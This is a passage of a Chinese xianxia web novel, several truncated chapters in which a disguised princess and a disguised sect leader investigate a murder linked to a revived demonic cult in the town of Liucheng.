苏晴沄一个头两个大,要怎么解释才能让对方相信自己不是想要先一步来销毁证据的?虽然她知道这一题早晚会考,但还是希望能多给点儿解题时间。 “我破阵很积极,对吧?” “嗯。” “也没有遮挡你的视线,对吧?” “嗯。” “那幻阵后面确实只有千里酥,对吧?” “嗯。” “如果我是卢严的同伙、知道幻阵下面藏着千里酥,那我就该事先服下解药,然后趁你中毒杀死你然后逃逸,对吧?” “如果你是杀害卢严的人,并不知道幻阵下面有千里酥呢?” 完了,又绕回销毁证据的问题了。 苏晴沄默默叹气,也不知卢严怎么想的,在幻阵里藏个千里酥,还不如藏个跟凶手或同伴有关的物件呢,那样她还能分辨一下。 等等,凶手、同伴……她突然灵光一现,这一路的追查明显有问题啊!之前她怎么没想到? 换了思路,她重新发问:“杀害卢严的人是谁,你真的在乎吗?” 看到“齐鹤扬”的眼神微微闪烁,她更加笃定,“跟你跑了这一路,我多少也看明白了些,其实你关心的根本不是谁杀死了卢严,而是卢严的同伙在哪里。”说到这里她顿了一下,然后盯着“齐鹤扬”的眼睛问道,“你不是在巡查期间碰巧遇到了卢严被杀案,你到柳城的目的原本就是为了卢严,对吗?” 西九岭垂下眼皮,这个“酒夕”果然不好糊弄。不过是跟着跑了两天,她便几乎猜出了这次查案的真正目的。 作为穹山掌门,他该警惕她的敏锐。可作为西九岭,他却忍不住赞叹她的聪慧,还有那深陷困境仰望星空的气度。 “别怪我没提醒你……” “你猜对了。” 嗳?苏晴沄还想威胁说自己要去柳城县衙举报他们穹山非法扣押景国人,没想到这“齐鹤扬”居然如此轻易就承认了。 西九岭眼中又浮现出了笑意,他是不是错过了什么有趣的言语?不过算了,这段日子他想做回西九岭,毕竟时间不多了…… “你猜对了,但也不全对。”西九岭整理了一下思绪,“我到柳城是为了寻找那枚铜钱的主人。” “那枚铜钱?”苏晴沄不太明白,“那只是一件普通的防御型法器吧,有什么特殊的吗?” “你知道梦见术吗?” “知道啊,不就是西、你们穹山掌门的独门法术吗。”怎么突然就跳到梦见术了? “梦见术不会直接给出答案,梦见的只有提示。” 苏晴沄略略一想就明白了,“你们掌门使用梦见术找人,得到的提示就是那枚铜钱?” “不错。” 苏晴沄突然闭上了嘴。穹山掌门要找的能是普通人吗?这个卢严保不齐跟穹山的什么秘密有关,秘密知道太多可是会早死的。虽然她是这个世界的巅峰强者,但也不能自找麻烦吧?干脆想个办法撤了算了…… “掌门要查的是天神教。” 不要说啊!她已经准备溜号了,干吗要告诉她卢严是天神教……等等!天神教不是在三百年前就土崩瓦解了吗? 在她的记忆里,天神教是魔神被穹山封印千年之后出现的魔修门派。这个天神教的唯一信仰就是魔神,教派宗旨就是杀光天下正道修士,而且为了解救他们的神明,在三百年前策划了一起疯狂的祭祀行动,将整个玉城设成祭坛,把三十万玉城居民当做祭品献祭给魔神。 那一场战役玉城死难二十余万,魔神通过祭祀获取大量魔力、险些挣脱封印。为了破除祭祀、压制魔神,天下化神尽数出动。 一夕之间,包 10. 再上灵山 《前未婚夫说他梦见了我》全本免费阅读 作为景国香火最盛的地母庙之一,灵山社的神殿别具一格。 从外面看,这座神殿也是类似华夏古建筑的风格。但走进内部就会发现地面、立柱和东侧的一整面墙壁都是由大理石建成,在木质主体的包裹下给人一种强烈的视觉冲击,尤其是东侧那面墙壁,竟然是一副完整的大理石镶嵌画。 苏晴沄还好,毕竟她也在旅行期间看过一些拜占庭时期的大理石镶嵌画,也见过整个房间地板都是镶嵌画的。 西九岭却是第一次见到,纵使他执掌穹山、修为化神、见识不凡,也忍不住啧啧称奇:“早听闻这灵山社有着世间仅存的一幅彩石壁画,如今一见果然名不虚传。” 苏晴沄有些好奇,“仅存的一幅?工艺失传了吗?” 这是工艺的问题吗?西九岭有些无语。 苏晴沄却很快在记忆中有了发现,“不对啊,我家老爷曾经做过一张彩石画的小座屏,说明这门工艺没有失传啊?” 西九岭毫不掩饰地投去羡慕的眼光,见她一脸不明所以,又不禁莞尔道:“画圣超然象外、不拘凡俗,酒夕姑娘跟在他老人家身边耳濡目染自然见识不凡,才会觉得用这许多天材地宝作画只是寻常。” 天材地宝?苏晴沄看着壁画莫名其妙,这上面不就是一堆石头…… 握草!她突然反应过来了,这里是修仙世界,这些都是炼器材料啊!这满壁画用的是石头吗?是无数的灵剑、护具、法宝,是这世上最值钱的东西! 再想起那个小座屏,什么超然象外、不拘凡俗,根本就是败家啊!败家! 怪不得景国将柳城视为重地,怪不得柳城的县守必须达到金丹后期修为,怪不得柳城外特别设立狐岭关大营。什么地母故土、什么国教圣地、什么意义非凡,这特么分明就是一座露天钻石矿,没人看着能行吗! 话说,这壁画居然还能完整的保存下来,难道这就是信仰的力量? 不对,原来好像有三幅来着……她本以为另外两幅是跟原来的殿宇一起坍塌、损坏了,现在看来应该是被人扒掉炼器了吧…… 耳边,西九岭的声音还在继续:“相传上古时期柳城周边盛产石料,那时候的天材地宝取之不尽,故而才能有这样的壁画。但祖师飞升时引来天地俱变,柳城附近的地貌也发生了翻天覆地的变化,诸多炼器石材一夜之间消失的无影无踪。也有人说,是祖师飞升时将这里的天材地宝一并带走了。” “祖师?”苏晴沄的思绪终于从那满墙的“钻石”上跑了出来,“你是说额吉娜……地母?” 西九岭似笑非笑瞥她一眼,“你直呼祖师的名字,那可是你们的神。” 苏晴沄努努嘴,小声嘟囔:“名字起了不就是给人叫的。” 西九岭眼中笑意变浓却没有接话,他如今就是个小小的金丹,还是低调些好。 苏晴沄的视线再次转回壁画,这一次她关注的是画的内容。 只见壁画正中,地母额吉娜双臂高举、飞在空中,在她的手掌中心半托半握着一枚红色宝珠,以宝珠为中心的金色光芒形成了一个巨大的圆,各色飞鸟、走兽、树木、花草都围绕在这个圆的四周。下方地面上,只有额吉娜十分之一大小的各色人物匍匐在地、眼中流泪。 但凡是景国人都能一眼看出这是一幅《地母飞升图》,身为景国公主的她自然也不例外,只是这幅壁画与记忆中的那些《地母飞升图》有许多不同,令她忍不住感到好奇。 记忆中无论是在宫中还是庙中、是白描还是彩绘、是古画还是新作,无一例外,图中的额吉娜都是盛装华服、金钗玉带,可这壁画上的额吉娜却是长裤、长靴,头戴五彩羽毛冠,身上披着裘皮大氅,感觉像是印第安酋长进了东北…… 既然这壁画完成于额吉娜的时代,那应该是后人为了大众传播改造了额吉娜的形象,就像观音变成女性那样?或者羽毛头冠也是什么法宝? 对了,这不有个现成可问的人吗? “齐道友,这地母头上戴的也是法器吗?” “关于额吉娜祖师的法器,穹山记载中只有地珠和覆山剑两样,其余便不得而知了。不过这头冠应该不是法器,相传祖师建立的图克部落信仰凤凰,佩戴彩羽是身份的象征。” 苏晴沄仔细看去,果然发现那些匍匐在地上的人也有头戴彩羽的,而且是越靠近额吉娜的人头上的羽毛越多。 “我倒对那些鸟兽、花木有些好奇,”西九岭看着那些围绕在金光四周的动植物,“祖师乃世间飞升第一人,也是记载中飞升的唯一一人,所以这次飞升在所有仙门典籍中几乎都有记载,可却没有哪本典籍中提到过什么灵兽和灵植。但看这壁画,似乎当时还有许多灵兽和灵植跟随祖师……飞升了?” 不怪他这个穹山掌门没见识,实在是自古至今飞升之人也只有祖师一位,他们这些化神尚且不得飞升,很难想象灵兽、灵植能够登仙。 “灵兽、灵植?”苏晴沄指着画面上那几个明显是猪、牛、羊、小麦、玉米的东西,“你确定?” 西九岭干咳一声,“我只是看这些鸟兽、花木都在天上,推测他们该是跟祖师一起飞升了,既然能够飞升,那必定是修炼得道的。” “照你这说法一人得道鸡犬升天,你们祖师爷特别厉害,所以带着整片林子飞升了呗?” 纵使西九岭已经习惯了这姑娘奇奇怪怪的说话方式,但也忍不住嘴角抽搐了一下,“我们的祖师可是你们的神。” 苏晴沄手指摩挲着下巴作思索状,“按圣母教的思路就好解释了,地母回归神位的时候带走了许多凡间的事物做纪念。” “确实。圣母教认为地母是降落凡间传授人类知识的天神,完成任务后回归神位,带上一些凡间事物也很合理。可穹山典籍却有明确的记载,额吉娜祖师跟你我一样生而为人。她只是天赋异禀,开创了引气入体之法,并传授世人,故而才成为天下修士共同的祖师。” 景公主从小信奉国教,也不曾远游,身边自然没人敢跟她说这些。所以苏晴沄只知道仙门中人不信地母,却不清楚他们怎么看待地母。 如今听了“齐鹤扬”的话不禁微微点头,“原来如此,这说法倒是比天神下凡可靠多了。” “你不信圣母教?” “神明吗?”苏晴沄不置可否地笑了一下,“如果说她来自于另一个高等文明的世界,那倒是有可能。”谁让她之前三十年接受的都是唯物主义教育,让她相信神明不如让她相信有外星人。 西九岭一愣,另一个高等文明的世界?他第一次听到这种思路,只觉得头脑中突然撞入了什么东西,识海瞬间翻天覆地,不禁愣在了当场。 苏晴沄并未留意他的反应,视线依旧停留在壁画之上。这个世界的皇权与仙门对额吉娜的说法大相径庭,可无一例外都肯定她拥有一件冠绝天下的法器——地珠,而且这枚地珠留在了这个世界。 有记录的文字显示,地珠在六千多年间至少出现过三次,但每次出现的地点都不相同,每一次都是地动山摇 11. 再死一个 《前未婚夫说他梦见了我》全本免费阅读 白墙灰瓦的院中一片忙碌。 贴着院墙摆放着各种砖石、木料、锛凿斧锯,工人们运料的运料,锯木的锯木、铺瓦的铺瓦,忙得热火朝天。 院中央,工长拿着图纸跟管家一个劲儿地比划,偶尔抬起头叮嘱工人几句,管家则不时应付一下跑来汇报的小厮。 两人身后,一座小楼已经搭完了框架,这会儿三个工人正忙着给二层顶上铺瓦。 其中两个一东一西,分别从屋顶两端向着中间铺瓦。另一个推着独轮车将瓦片运到楼前,然后放入系着粗绳的竹筐中,登梯子爬上二层屋顶,用绳索将竹筐吊上来,卸下瓦片后再把空竹筐放下去,然后下梯子重复运送。 就在那把梯子斜前方不远处,小喜子仰面躺在地上,脑袋周围的血迹已经干涸,眼睛却依旧张着。 那运瓦的工人每每都要经过尸体,工长和管家也距离不远,偶尔穿过院落的小厮也会路过那里,可所有人都仿佛那里躺着的只是一块木料般,甚至懒得看上一眼。 壮汉带着喜子奶奶赶到时,两个小厮模样的人正一脸厌烦地弯下腰、伸出手,准备去搬地上的尸体。 老人见此情景就疯了一般嚎叫着冲了上去,用力往其中一个小厮的腰上一撞,然后整个人扑到了孙子身上。 那小厮正弯着腰、重心不稳,被老太太一撞直接坐在了地上,龇牙咧嘴地爬起来、开口就骂。 可喜子奶奶完全不输给他,咒骂声夹杂着刺耳的哭嚎,瞬间吸引了院中所有人的视线。 拎着老人的包裹跟在后面赶来的西九岭和苏晴沄都被这一幕惊到了,老人冲刺时的爆发力和中气十足的嚎叫声令二人产生了自我怀疑,这真是个没修炼过的凡人吗? 带路的壮汉也吓了一跳,但很快反应过来,跑上去护住老人、陪笑道歉,显然是跟小喜子有些交情。 管家看到这幅场景便皱着眉头走了过来,挥手示意两个小厮站到一边。 喜子奶奶知道是管事的来了,昂着头吼道:“你们别想动我孙子!他死的不明不白,肯定是你们害的!我要报官!早上出门还好好的,怎么做了会儿活就没气儿了?明明好好的……”说到最后渐渐变成了呜咽,神色也由愤怒转为悲伤。 管家神色如常,并不急着回复她,反而是先对她身前的壮汉说道:“还不去干活儿?” 那壮汉虽然有些担心老人,但听管家这么说便怕耽误活计拿不到工钱,急匆匆地跑走了。 管家这才掏出十个铜板、丢到地上,对喜子奶奶说道:“衙门的人已经来看过了,意外而已。既然家大人来了,就省的我们收尸了,赶紧带你孙子走吧。” 看到那几个铜板,喜子奶奶的神情再度转回愤怒,朝着地上啐了一口,说道:“十个铜子儿就想打发老婆子,没门儿!我孙子被你们害死了,你们得给他买棺材、办法事,替他给老婆子的养老钱!” 管家冷笑一声,说道:“棺材?你们这些荒坡的穷鬼也配?十个铜板就够你们祖孙俩的草席钱了,赶紧带着你孙子滚,否则别怪我不客气!”说完也不等她回话,给旁边站着的两个小厮递了个眼色、转身就走,嘴里还念叨着,“晦气。” 可他刚一转身,就被两个人挡住了去路,青衣、素裙,可那样貌…… 他虽然只是中富之家的管事,可也见过些人物,知道眼前两人的气质绝非小门小户能养出来的,于是刚皱起的眉头立刻一松,换上一副笑脸问道:“二位是?” 说话的同时,他也发现了西九岭手上拎着的破包裹,不禁有些惴惴,身后那荒坡的穷鬼该不会是有什么了不得的亲戚吧? 西九岭也挂上公式化的笑容,“我们是济水城秦家的,有事找他们祖孙帮个小忙,现在人没了……要不问个清楚,只怕回去没法交差。” 都是给主子办事,管家一听就明白整句话的关键就在“帮个小忙”的“小”字上。小喜子死了可能会导致他们的差事办不成,但这差事还没重要到需要他们为这老婆子出头,只是想知道小喜子的死因以便回去交差。 既然如此就好说了,管家立刻摆出一副了然的神情,说道:“二位远道而来扑了个空,自然是该有个道理。” 说完,他招呼旁边一个小厮过来,让他把房上那三个铺瓦的叫下来。西、苏二人这才知道,小喜子在这里的干的是铺瓦的活计。 片刻后,三个精壮汉子就站到了他们面前,简单报了下名字便开始讲述当时的情景。 大壮:“俺正跟房檐上接瓦呢,就听西头哗啦一声,一看,是小喜子踏空了。离太远了,想伸手也不赶趟。” 李二:“大壮在上头接了瓦,俺就推上车准备接着运了,谁知道西头那小娃子突然掉下去,给俺吓一跳。” 刘麻子:“俺在东头铺瓦呢,听到动静去看的时候人已经摔地上了,咚的一声,肯定是摔到头了,落地就不动了。” 西、苏二人听到这里才算清楚了,当时铺瓦的总共四个人。李二负责把瓦片运来、卸进竹筐;大壮负责把竹筐吊上房檐,然后将瓦片送到东西两头;刘麻子和小喜子则一东一西负责铺瓦。 李二又道:“是头先着地的,俺看的清楚。” 大壮:“俺也看见了,哎,要是手脚先落地兴许还有救。” 李二:“直接摔死了。俺放下车跑过去的时候头就开始出血了,俺叫了两声他也不应,摇了摇也没反应,一探鼻子,没气了。” 他说到这里的时候,一直抱着孙子坐在地上旁听的喜子奶奶突然跳了起来,一把抓住他,厉声道:“你看清楚了吗?我孙子身子骨那么好,怎么会一摔就没了的?你摇他的时候是不是太用力了?是不是你把他摇坏啦?” 李二愣了一下,然后双眼一瞪,抬手一扒拉,老太太就倒回了地上,“老不死的!你他娘的什么意思?想讹俺啊?!” 大壮赶忙上来打圆场,伸手拦住李二,跟喜子奶奶解释道:“真是直接摔死了。俺放下瓦就下来了,就跟李二后面。小喜子脑袋上流血、一动不动的。”说到这儿他抬头看向管家,“工长和刘大也都看着呢,是吧。” 大壮这人算是心细的,说这话的时候特地撇开了跟工长一起在院里指挥的管家。 管家见他会说话,也就配合着点了下头。 李二似乎是个脾气大的,一副不爽的样子朝地上啐了一口,也不管周围人、转身就走,嘴里骂骂咧咧:“老子就说小瘪三不顶事,非带上,摔死了搞得老子一个人运瓦、搬瓦,工钱也不加还他妈给老子扣屎盆子,呸!” 喜子奶奶显然还不服气,挣扎着站起来想要追上去,大壮忙又转头拦住老人。 西九岭扭头问管家:“刘大也在?”说完还环视了一圈,表示没有看到。 管家道:“刘大先头是在的,后来衙门里来人,他是中人,就跟着回去做案头了。” 西、苏二人对视一眼,都是若有所思。 事情说明白了,管家就打发几个工人回去干活儿,然后对西、苏二人道:“差不多就是这样,二位还有什么要问的吗?”说完,就准备客套两句送客。 谁知西九岭抢先开口:“刘大是来干吗的?” 管家没想到他还真有的问,而且是问刘大,因此愣了一下才道:“早先招的人手不够,他又帮我去寻了两个送来。” 西九岭点了点头,看身边的苏晴沄似乎没什么想问,便说道:“有劳管家了。” 管家总算松了口气,向两人行礼告辞,工地上死人已经够晦气了,现在是多一事不如少一事。 见管家要走,坐在地上的喜子奶奶突然扑上去,一把抱住他的腿嚎叫起来:“你不能走!我孙子是在你们这儿死的,你不能就这么打发了我!” 管家有些腻烦地看了眼地上的婆子,踢了两下腿愣是没踢开。旁边站着的两个小厮立马跑上来,一左一右抓住老人的肩膀,连拉带拽的总算是把她从管家腿上拉开了。 喜子奶奶目眦欲裂地挥动双手,似乎还想扑上去,无奈挣不脱两个小厮的束缚,只能嘴里拼命喊叫:“别想就这么打发了老婆子!我孙子是给你们干活儿才死的,就得你们赔钱!要没十两银子,我老婆子就不走!” “十两银子?”管家嗤笑一声,“我看你是想钱想疯了。”说完,他摆摆手示意两个小厮把人拉走。 谁知喜子奶奶见他油盐不进,直接骂了起来:“十两银子都不给,我呸你个缺德挨千刀的!□□转长虫又托生个王八,三辈子没眼眉的玩意儿!老婆偷汉子,儿子随邻居,全家XXX……” 这老太太开了嘴就不见停,力气还大得出奇。两个小厮想腾出手去捂她的嘴,可手下稍稍一松,她就要挣脱出去,根本捂不上。 那一句接一句听得苏晴沄眼皮直抽抽。本来还挺同情老人死了孙子,可见她不管是要报官还是追究缘由,最终都只为了要钱,骂街讨钱的模样像极了那些视频里的医闹,反倒有些令人厌恶了。 再看那管家,被骂得脸上一阵青一阵白,最后真是气急了,抬脚朝着老人腹部用力一揣,那两个小厮顺势撒手,老人一下子跌出去,狠狠砸在了自己孙子的尸体上。 苏、西二人看得清楚,这一脚架势很大,可实际伤害很小,尤其还有尸体垫着。 管家冷冷地上前一步,从袖中掏出一块约莫半两的碎银子摔倒地上,“拿去买药。” 喜子奶奶手撑着地想起来再争,那管家却直接转身走了,只留下一句:“十两?我怕你没命消受。” 老太太原本抬起的手因这句话停了下来,终于安静地俯下身,将那地上的十个铜板和一块碎银捡起来、揣入了怀中。 苏晴沄略一思索便明白了管家话中的意思。荒坡没有秘密,一个无依无靠的老太太身怀重金就成了狼群中待宰的羔羊,怕是连明早的太阳都见不到。 喜子奶奶收好钱就站起了身,那两个本该负责搬尸体的小厮这会儿却站着不动、冷眼旁观,显然是对老人之前的 12. 穹山双壁 《前未婚夫说他梦见了我》全本免费阅读 冰蚕纱制成的薄纸上弯弯曲曲的画满了线条和符号,廖辰眯着眼仔细端详了半天才有些不太确定地开口:“应该是地图,不过……似乎不全啊。” 西九岭依旧坐在他那张竹椅上,一抬手便让薄纸飞回了掌心,他也觉得是地图。 无人跟随,自然不用假扮金丹飞两天,因此他也没有直接回穹山空耗时间,而是先去了趟济水,想问问李琦那边有没有新的进展,结果还真有。 卢严的尸体因魔气爆体而皮肤开裂、血肉模糊,这本是正常,故而也没人细查。只是李琦这个睿秀峰的医术爱好者终于忙完了才跑去研究那具魔气爆体后的残躯,没想到竟然在卢严腰侧的血肉中发现了一个绿豆大小的纸团,展开后有一尺多宽,是由轻薄柔韧的冰蚕纱炼制而成,如今就在他掌中。 地图不全自然无法看出个所以然,西九岭便将它揣入袖中、换了个话题:“秋水那边有进展吗?” “秋水说分辨药材成分不难,但她粗略看过,那药粉中既有伤药成分、也有毒药成分,还有些食用灵草,一时间想不到是干什么用的,得仿制一些做测试。” 说完廖辰撇了下嘴,破罐子破摔道:“秋水说可能两三天就有结果,也可能要十天半个月,没准儿。” 西九岭有些想笑,可想到时间紧迫又笑不出来,最终只说:“有结果了立刻传讯给我。”然后便起身向房门走去,“文书和信牌准备好了直接送去深渊。” 廖辰一怔,“你要去深渊?”难道不是立刻返回柳城继续寻找魔气吗? 西九岭听出他的疑惑,唇边透出一丝无奈,“明早出发。”他也急,可他现在是个两万里要飞两天的金丹。 廖辰似乎也想明白了其中关窍,可他不太明白干吗非要带着那个画圣侍女,“那个酒夕的嫌疑还没解除吗?” 西九岭的脚步顿了一下,“我需要帮手。” “那我给你挑两个机灵的弟子……”你这是什么眼神?不是缺帮手吗? “那个酒夕并不简单,我还要观察一下。” 观察?观察啥?廖辰眼珠一转,突然福至心灵,这是千年铁树要开花啊!但紧接着又是愁容满面,刚跟画圣外孙女悔婚就看上人家侍女,这不太好吧……抬头想劝两句,却哪里还有掌门的身影? ————————————无尽深渊的分割线———————————— 琼岛向东有死海,穹山尽头有深渊。 这片大陆的西方尽头——无尽深渊就位于穹山的彼端。 凡穹山弟子皆知翻过后山便是深渊,是镇守魔神的禁地,是以化神大能做阵眼的缚魔阵。而能够进入那黑色大门、穿过隧道去往深渊的,除了入阵的化神就只有穹山掌门。即便门中长老也只能持掌门令牌通过,而在门外看守的弟子也只有遇事禀报的权利。 此时正是夕阳西下,一身青衣的西九岭走入隧道、缓步而行。身后的黑色大门关闭,将落日的余晖挡在隧道之外,从此往前便只有漆黑。 隧道彼端的夕阳就像是一团模糊的黑影悬挂在灰黑色的天幕之上,而天幕下方,是比之更加幽深无尽的黑色,望不到底也望不到边的深渊名副其实的“无尽”。 每次看到深渊的时候,西九岭都会有种错觉,眼前的天堑真的没有尽头吗?还是这黑色本就是尽头,只是太黑了才看似无穷无尽? 可惜没人能飞过深渊,所以这个问题没有答案。 前方,一块巨大的山石从崖边探入深渊,足有十丈之长,是唯一能够悬于深渊之上的物体,也是缚魔阵得以布置的根基所在——无尽崖。 黑色的崖石边缘有一人盘坐,双眉如剑斜飞入鬓,眼眸似星乌亮有灵,朱唇带笑有春风之意,玉面温润若上善之水。那人眼中含笑望着在十丈外停下的西九岭,一袭白衣无风微动,万千黑暗中便有清明耀眼。 他,是穹山的化神长老,是缚魔阵的第四代阵眼,是为苍生看守魔神的英雄。 而在这一切之前,他一袭白衣下穹山,世间无人敢称玉。天资矍铄,与西九岭并称穹山双壁。他,就是玉玦。 “你怎么来了?” “有空,坐坐。” 随口给了个不算答案的答案之后,穹山掌门便就地盘膝坐下,与那从小一起长大的师兄对面。 接下来的一段时间两人真的就只是坐着而已,什么都没有说,却又仿佛说了许多。 西九岭一路的风霜就这么坐着便渐渐消散,紧绷的身体一点点放松下来,到最后便没了什么正襟危坐的样子,立起一边的膝盖架起手臂、撑着头,另一边还在地上的膝盖也已松懈了许多。 玉玦总算见到了自己熟识的那个懒散家伙,笑意深入眼底。 一成不变的还是西九岭先开口:“大师兄安排的那些人,要我换回来吗?” 虽然穹山上下皆称师兄弟,但前代掌门上官御的亲传弟子只有三人,齐远山、玉玦和西九岭,这里所说的大师兄不言而喻。 玉玦道:“魔气外泄,魔神便与外界连通,师兄有此安排是为穹山好。” 西九岭看着依旧笑脸温和的玉玦一瞬间默然。 一入深渊禁终生,成为缚魔阵阵眼的玉玦只能坐在无尽崖上,无法离开一步。平日里唯一能说上话的就是隧道另一端的值守弟子,虽然不能提及穹山公务,化神跟金丹也不在一个沟通层面,但总算是能说几句人话,偶尔也有些无关痛痒的门中八卦可以成为谈资,在这没有尽头的枯坐中可以说是唯一的乐趣。 可近日齐远山却以魔神暴动为理由进行了换防,将看守弟子都换成了自己人,并禁止他们跟玉玦进行一切沟通,这在西九岭看来无疑有些严苛了。 玉玦却仿佛丝毫都不在意,“这不是还有你这个穹山掌门来陪我坐坐吗?” 西九岭有些无奈地笑了一下,自幼大师兄便看玉玦不顺眼,他即便做了掌门也改变不了什么,确实也只能在有空的时候过来坐坐,“最近遇到个有趣的人。” 玉玦眼中透出一丝兴味,“哦?” 西九岭眼中毫不掩饰笑意,“那人说要改大景律。” 听了之后,玉玦也笑了,“当年你也说穹山门规太过繁琐,应该改的。” “哈哈!我没食言啊。”要不是大师兄跟几位长老强烈抵制,他删的更多。 “你怎么知道那人会食言呢?” 西九岭一怔,好像景国官员确实不限男女,那人要是将来从政还真不是没有可能。 玉玦只笑看着他,平静道:“我这边倒是无事,魔气泄露后那家伙就安静了,怕是在憋什么坏水吧。” 西九岭了然地点了点头。 因为调查情况不能泄露,穹山公务不能泄露,于是两人便默契地聊起了年幼时的事情。一个爬树掏鸟蛋,一个爬树把蛋放回去;一个值夜偷酒喝,一个帮他引开执法长老;一个上课睡觉,一个在老师转身前把他踢醒…… 黑色的太阳消失不见,黑色的月亮又填补了空白,然 13. 名字很重要 《前未婚夫说他梦见了我》全本免费阅读 事实证明,名字很重要。 此时西九岭顶着齐鹤扬的名头坐在柳城县守胡炯的对面,尽职尽责地说明着天神教的情况和此次调查的重要性,同时感受着对方冰冷如刀的眼神。 若不是这县守在看到信牌时咬牙切齿地念了一遍“齐鹤扬”三字,清晰的表明了自己不喜欢这个名字的态度,他简直要怀疑这县守就是个天神教徒,想要将他杀人灭口。 不过总算是各司其职,他尽职尽责地将情况说明完毕,县守胡炯也尽职尽责地听到了最后。 然后,就在他准备讨论如何联手行动的时候,县守胡炯抢先一步开了口,而且语出惊人:“仙师好走不送。” 西九岭简直不敢相信自己的耳朵,对方居然就这么直接了当的逐客了?就因为他叫“齐鹤扬”?? 一旁的苏晴沄知道自己不该笑,但想起西九岭来此之前的不以为意就有点儿忍不住,于是端起手边的茶杯假装小啜。 见逐客对象没有动作,胡炯露出不耐烦的神情,“柳城是景国的柳城,仙师已经完成了告知义务,其余不用费心,可以回禀师门了。” 听到这话,苏晴沄把刚要放下的茶杯又端了起来。这是一步到位,直接赶出柳城了啊,真不愧是我景国臣子,知道给你家公主解气! 西九岭简直无语了。不是说世家官场弯弯绕绕最是麻烦的吗,这县守怎么比仙门中人还要简单粗暴? 一扭头,身边的姑娘竟然满脸扬眉吐气是怎么回事?我不是跟你说过那些谣言都是假的吗!平民百姓相信也就算了,怎么连画圣身边的人和朝廷官员都信? 等等,廖辰好像说景王差点儿挥兵西进来着?这是从上到下都信了那个谣言啊! 不然他还是先去劈了画屏山吧…… 苏晴沄正在心里过着打脸男小三儿的瘾,突然余光里瞥见“齐鹤扬”一脸便秘的表情看着自己。 呃……这种被人当成开塞露的感觉毛骨悚然啊! 好吧,好吧,身为景公主的她确实不该沉迷于打脸小三儿的快感而不顾天下大事,更何况她内心还有点儿感谢这个小三儿,不然自己刚穿过来就得被包办婚姻了。 “咳,”苏晴沄咳嗽一声,掏出那伪装身份的小葫芦递到了县守面前,“我叫酒夕,在画圣身边奉茶。” 听到老国舅的名头,胡炯连忙起身、双手接过葫芦,验看后满脸敬重地奉还,“是胡某怠慢了,不知姑娘莅临柳城有何贵干?” 有何贵干?看来这县守没觉得她是跟“齐鹤扬”一路的。也对,公主的家里人怎么可能跟穹山面首一路?理当是碰巧同时到达县衙,被误当做一路人领进来的。 苏晴沄瞥了眼“齐鹤扬”,微笑道:“还请县守大人借一步说话。” 胡炯面色了然,立时就要唤人来送那个穹山面首出府,在被“酒夕”拦住后虽然心中不解,但还是亲自领路去了后堂。 当他看到画圣侍女谨慎地取出一张隔绝符开阵时并未觉得有哪里不对,毕竟前面有个全大景的仇人,再谨慎也不为过,可当他看到女子大大咧咧坐到主位之上丢出一块金牌的时候就觉出异样了,再看一眼那金牌上刻着的狮头蛇身像哪里还能不知道眼前女子的身份? 他扑通一声跪倒在地,双手高高托起金牌,“微臣胡炯见过公主殿下!” 苏晴沄原本放松的面颊下意识抽搐了一下,还是不太习惯被人跪的感觉。好在胡炯低着头,看不到她那一闪而过的窘态,“起来吧。” 她抬手取回金牌,然后开门见山:“本宫要柳城调配一切人力跟踪刘大及其相关之人,立刻、马上。” 胡炯愣了一下,显然是没想到公主跟穹山面首说的是同一件事。疑惑却不能问,只好犹豫道:“相关之人是指……?” “亲友、乡邻、交易对象,常吃的馆子,光顾的铺子,”她差点儿就想说宁可错杀不可放过,但脑海中瞬间跳出了一系列反派角色的狰狞面孔,终于是咽了回去,“都算。” “殿下,这可要不少人……” “找个机灵点儿的修士跟刘大,我怀疑他有金丹以上修为。”要取走窝棚幻阵下的东西至少该有这个修为。 胡炯抱怨人手不足的话还没说完,就被接踵而来的坏消息惊到了,“金丹以上?”这里又不是军营,整个衙门也就他这个县守是金丹以上了。 “远远跟着就行,他身上应该是有隐藏修为的法宝,不要打草惊蛇。” “那至少也要筑基中期才行。” “你看着办吧。”苏晴沄摆足了公主的架势,反正深入探讨政务她也不懂,还容易露馅儿。 胡炯紧皱眉头,似乎是真的很为难,“刘大这种人交往繁杂,就连衙门中人只怕也有不少要算在相关人员之列,如果他是金丹以上,那来往之人恐怕也不乏修炼之人,要盯住这么多修士可不容易。更不要说跟踪之后还要逐一排查,最后再分别抓捕,只凭本县衙役怕是力有不逮。不如先秘密抓捕刘大一人,然后刑讯逼供……” “不行,”苏晴沄毫不犹豫地打断了他,“天神教谨慎多疑,最善短尾求生,若不能一网打尽便没有意义。” “不然下官写个折子……” 苏晴沄面色一沉,天生的贵气和化神威势立刻散发出来,“本宫说立刻,马上,胡县守是听不懂吗?” 胡炯面色一白,扑通一声跪了下去。 他这是怎么了?是在前堂看着公主平易近人的模样就猪油蒙了心,以为自己也能跟一个化神讨价还价了?不就是盯梢几个修士吗,大不了他这个县守自己上呗! 而这时,头顶又压下了一句沉甸甸的话:“等到人手充足,你能确保柳城不会变作第二个玉城吗?” 第二个玉城……胡炯身体不受控制的一颤。 因为一开始对那个“齐鹤扬”带着十分抵触,他竟然忽视了天神教是曾经一日之内向魔神献祭二十万人的疯子!虽然三百年前那帮疯子被剿灭了,可如今谁能确定他们死灰复燃了多少?而这些人为什么潜伏在柳城,他们要干什么?又到底有多少人、已经潜伏了多久? 如今哪里还有时间去等?! 紧接着,他也明白了公主为何愿意屈尊降贵、忍辱负重与那穹山面首合作。还不是因为穹山掌握着天神教的信息,能够第一时间察觉魔神的异动,能够最大可能避免灾难波及景国。说白了,公主殿下这是为了柳城、为了景国、为了他们这些景人! 有一个能够为民至此的公主,他胡炯还有什么可抱怨的?想至此,他深深低下了头,郑重道:“下官明白了!” 苏晴沄就看见他面色几经辗转,惊恐、恍然、愤恨、悲怆、怜惜、敬佩、决绝……然后就想通了……这内心是演完了一部史诗巨作吗? 为了保持公主的庄严形象,她没再多说什么,只是在收起隔绝法阵前交代了一句:“记住,本宫现在的身份是画圣侍女。” 然后,她就又看到了那县守眼中的悲愤、同情和敬重。 如果说进门时胡炯看西九岭的眼神像要捅刀子,那出门的时候就是要活剐凌迟了,搞得西九岭忍不住在出了县守府之后跟身边人反复确认:他真同意了? ——————————城墙内外的分割线—————————— 城里人多眼杂,香客众多的灵山和闲散聚集的荒坡亦是如此。 要避开天神教的视线,又要方便与县衙联系,最优的选择只能是城东山林。这里山势低缓,但水源不丰、土壤不富,树木稀稀拉拉、山花零零落落,谈不上有什么风景,也就很难被人想起。 